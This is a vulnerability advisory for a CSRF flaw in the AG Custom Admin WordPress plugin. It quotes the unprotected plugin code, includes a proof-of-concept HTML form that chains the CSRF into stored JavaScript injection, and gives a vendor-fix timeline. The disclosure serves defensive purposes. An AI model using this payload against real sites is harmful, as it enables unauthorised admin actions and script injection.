AG Custom Admin [CSRF]

Description

AG Custom Admin plugin for WordPress suffers from a CSRF vulnerability. Plugin lucks security checks for CSRF protection. A malicious site could lead the infected site’s admin to submit a form that will perform a CSRF attack. This vulnerability could lead to a persistent XSS attack as it’s described here.

The following snippets are from ag-custom-admin/plugin.php file, AGCA class.

The plugin calls AGCA::checkPOST() method:

public function __construct()
{                           
    $this->reloadScript();      
    $this->checkPOST();
    $this->checkGET();

Next the AGCA::checkPOST() method checks if a specific POST var is set and if it is it calls AGCA::checkIfUserAdmin() method:

function checkPOST(){
    if(isset($_POST['_agca_save_template'])){
      $this->checkIfUserAdmin();

In AGCA::checkIfUserAdmin() method no CSRF check is taking place:

function checkIfUserAdmin(){
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if(!is_admin()){
            exit;
        }

        include_once(ABSPATH . 'wp-includes/pluggable.php');
        if(!is_user_logged_in() || !current_user_can( 'manage_options' )){
            exit;
        }
    }
}

As the AGCA::checkIfUserAdmin() method has the only security checks taken place, all other actions provided from plugin, are vulnerable to CSRF attacks.

In this report for demonstration purposes we exploit the action _agca_save_template, but there are some more that can be used by a real attacker.

PoC

<form method="post" action="//wp1.dev/wp-admin/index.php">
    <p>This form is misleading</p>
    <input type="hidden" name="_agca_save_template" value="1" />
    <input type="hidden" name="templates_name" value="default" />
    <input type="hidden" name="templates_data" value=" |||alert('admin js')||| |||alert('login js')||| ||| |||" />
    <button type="submit">Press me</button>
</form>


WordPress Plugins CSRF
INFO
TIMELINE
  • 2016-03-14:
    Vendor notified through email
  • 2016-03-14:
    Vendor responded and received details about this issue
  • 2016-03-15:
    Vendor released v1.5.4.3 which resolves this issue